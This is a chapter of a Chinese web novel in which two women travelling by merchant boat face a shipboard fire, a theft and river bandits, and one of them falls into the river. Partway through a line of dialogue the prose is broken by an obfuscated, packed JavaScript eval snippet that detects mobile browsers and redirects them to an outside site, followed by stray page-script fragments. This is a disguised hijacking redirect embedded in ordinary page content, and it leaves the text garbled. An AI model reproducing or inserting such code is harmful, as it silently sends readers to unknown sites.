紫芽担忧道:“梦娘你说,咱们会不会露了富,这船上说不定有贼人觊觎钱财……”
归梦摇摇头:“应当不会。商船只载了咱们几个散客,大多都是商行里的伙计与船工。”
白日间,商船自青弋江口向西行了一日,经过鹊尾洲,天黑了便下锚停靠在岸边。
夜间行船多有危险,极易触到暗礁。
此时只是孟春,天气寒冷,多有遭遇河流结冰与浅滩之时,必要时少不了船工用铁钳破冰以及纤夫拉船。
天边残阳如血,归梦站在船头,目睹那些苦人们在严寒中只着单衣,将又长又粗的纤绳绑在腰间负在背上,弓着身子喊着整齐划一的号子一步步艰难地拉动着船。他们喘着粗气,豆大的汗水从额上滑落,纤绳似乎也要嵌进皮肉里去了。
她于心不忍,此时此刻站在船上也为纤夫增加了一份重量,似乎也成了打熬他们力气,消磨他们血肉的凶手之一。
归梦有些气愤地唤来管事:“为何纤夫拉船之时不让众人下船?”
管事闻言啼笑皆非。“您在说笑吧?这一上一下折腾多耗费时辰哪!按您的意思,是不是还得把货物也一并卸下减轻些份量?他们赚得就是这份力气钱……”
归梦怒道:“你别以为我不知,他们费尽了气力,也只能赚得温饱罢了。我这里有些银钱,你拿去分与他们!”
管事摇摇手道:“您还是省下吧!俗话说食髓知味,您是好心打赏,可如此一来平白抬高了他们身价,往后我这的生意还能同他们做吗?”说罢,打了个揖甩手而去。
归梦愣在原地说不出话来。她生性单纯善良,却不曾想行有行规,好心善意也会招致不好的后果。
紫芽在旁柔声劝道:“甲板风大,还是回舱去吧。”
二人自船头一侧走回客舱,忽见一个明铮的随从靳风自船尾迎面走来。
归梦眼疾手快拉着紫芽转过身,快步从另一端绕回。
关上舱门,紫芽长出了口气,叹道:“梦娘还不打算见明公子吗?这船说大也不大,抬头不见低头见的,这样日日躲着也不是办法。”
“现下离荆州还远呢!若是教他知晓,他说不定会费尽心思甩掉我们。那时再要寻他岂不困难得多?”
如此又过了五日,归梦终于也受不了了。这船上舱室狭窄不通风,若要透气只能去甲板上。
偏偏她又不喜人多眼杂。
再有,这船上饮食单一寡淡,并无什么新鲜瓜果,三餐中有两餐都是白粥饼子配上菜头,偶有荤腥也是鱼脯肉干,吃得人直欲作呕。
她不惯水性,甚少坐船,这商船虽庞大结实,可终归是船,风高浪急之时免不了颠簸摇晃。船身摇晃起来,人也跟着头晕眼花,胸闷恶心。
连日来本就胃口不佳,吃进去的少许又因晕船吐了个干净。
眼看着一张芙蓉秀面干瘪消瘦了不少。
归梦命紫芽将管事请来,有气无力道:“还有几日能到寻阳?”
“少说还有五日的路程,这还得看天色。”
紫芽焦虑道:“可有近道可走?能缩短些日程也是好的。”
管事大皱眉头:“若是借道雷池可省三日的日程。只是那里水浅沼泽多,船只容易淤陷。除非找当地的渔民引路……”
紫芽与归梦对视一眼,对那管事恳切道:“我家公子实在受不得这船上风浪。麻烦您同舵手说一说,便行个方便,抄近路走。不管是请渔民引路还是旁的什么花费,都算在我们头上。”说着走近一步,塞了两颗金珠在管事手中。
那管事颇为迟疑,在他掂了掂手上金珠的份量后,终是忍不住答应了下来。
商船果然改道而行,归梦听到船工们一边拉扯着白帆一边大声议论着行程。
船逆流而上行了半日到得雷水口,又转入雷水河道。管事来回了一次话,说是已找了渔民来引路,归梦自然又给了一些银钱。
紫芽忍不住骂道:“这管事当真贪财,知道梦娘你出手大方,便来索要无度。”
“罢了,出门在外比不得在家,能用钱打发解决的人和事儿反而简单。”
紫芽犯愁道:“我就是怕再这般花费下去,还未到荆州咱们就要喝西北风了。”
归梦失笑:“怎会?咱们不是还有一些首饰不曾变卖?待到了寻阳,找间当铺,当来的钱恐怕用个一年半载都不成问题。”
“那也得平安到寻阳再说。”紫芽仍是有些担忧:“我照郭先生的吩咐,在咱俩的内衣上都缝了个小袋,又放了几颗金珠碎银在里头。万一真遇到贼人,即使包袱和钱袋没了,也不至于身无分文。”
这日天光昏昧,乌云成片,没过多久便淅淅沥沥地下起雨来。船工们一边咒骂着一边穿起蓑衣。
好在有渔民指引,商船有惊无险地穿过了沼地。
紫芽出舱探过情形后来报:“太好了,这样后日便可到寻阳了。”她看着归梦苍白的面容,叹道:“等一上岸,还是请个大夫来瞧瞧。”
“哪里用得着?”归梦半躺着,直了直身子:“下了船吃些清淡滋补的,没两日自然就好了。”
是夜,二人本安稳睡着,忽听甲板上一阵骚动,外面呼声震天:“走水了,走水了——”
紫芽与归梦同时惊醒,慌忙穿上外袍起身。
二人出了舱门,只见船头火光冲天,船工与商行伙计吊着水桶从江中打水,来回奔走忙着灭火。
归梦随手拉住一个经过自己面前的船工,问道:“发生何事?”
“不知是哪个糊涂鬼打翻了破冰用的火油,引燃了船上的粮草……”那人说完匆匆赶去灭火了。
船头火势越烧越旺,浓烟滚滚飘来,眼见着大火已控制不住。
四周均是焦急的叫喊呼喝之声。不知是谁喊了一句:“该死,脱锚了!谁干的?”
船上众人惊觉,商船竟已漂得远离岸边,荡到了江心。眼看着船只损毁,却不得上岸。
紫芽急道:“梦娘,我们怎么办?”
归梦喃喃道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816861|171994||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“明铮……我要去找他!”她此刻脑中只能想到,明铮有危险,倘若他此时还在睡梦中,留在船上岂不是要活活烧死?
“咱们回舱取了包袱,便一道去寻明公子!”紫芽伸手拉住归梦,以防二人走散。
二人急回舱室,却见一人低头鬼祟地从他们的舱室中出来。
“你是谁?你穿的不是船工的服色。”归梦叫道。
那人不答,只是快步逃离。
紫芽抢进舱室一看,叫道:“梦娘,我们的包袱不见了!”
“站住!”归梦疾步追去,那人撒腿便朝船尾奔去,好在船并不大,直奔到船尾他便再无路可去了。
夜深如墨,近凭借一点跳跃火光看不清对方的容貌。归梦依稀瞅见这人怀中鼓鼓囊囊的,藏的必是她们被盗的包袱。
“喂,把包袱还来,我让你走。君子爱财取之有道,你若是缺钱我可以给你!犯不着偷……”归梦一步步走近,将那人逼得后背已贴上船舷。
那人伸手支贴近嘴唇,呼哨一声,船尾很快又赶来两个灰衣人。
“臭小子,你自己显摆露了富,就别怪咱们惦记,干你这一票,够咱们兄弟吃喝好几年了。也不枉费咱们装成渔民混上船来,哈哈哈……”为首一人声音粗嘎,放肆地笑着。
“你们,你们是什么人?这船上的火是你们放的?船锚也是你们拔的?”归梦颤声道。
“不错。咱们兄弟便是江上的水匪,这可是今年的头一遭生意,碰上你这条大鱼。身上还有什么值钱的物事,乖乖交出来吧!”三人一步步朝紫芽与归梦逼近。
归梦迅速从腰间掏出一物:“别过来!”
还好这匕首她是随身携带着。雪白锃亮的锋刃在黑夜中划过一道白光。
三个水匪不料她竟还携有刀刃,立时后退了一步。
归梦压低声音对紫芽道:“我挡他们一挡,你快跑,去找明铮!”
“不成!要跑也是梦娘你先跑!”紫芽说着劈手夺过归梦手上的匕首,将她狠狠一推:“快跑!”
归梦被她推了个踉跄,一咬牙转身朝着火的船头跑去。
身后有人喊“追”,却似是被紫芽所阻。
她不敢回头,只拼命地朝前跑去。
船头乱成一片,压根无人注意船尾竟有水匪在劫掠。
船工与水手抢了仅存的尚未烧毁的救生舢板,掷入江中,跳水逃生。
归梦被浓烟呛得连连咳嗽,熏得睁不开双眼,船头已烧毁即将坍塌,烟雾弥漫一片,根本看不清舱中是否还有人。
“明铮,你在哪?快去救救紫芽——”她绝望地哭喊。
忽地有人伸手抓住了她的背心,她紧闭双眼本能地挥舞着双手,挣扎嘶喊:“你们这帮匪徒,走开,走开,别过来——”
她身子本临近破损的船舷,此时挣扎着后退,脚下又踩到湿滑的水渍,身子一倾,便落入江中。
江水寒冷刺骨,兼之她不识水性,呛了几口水,很快便失去了意识。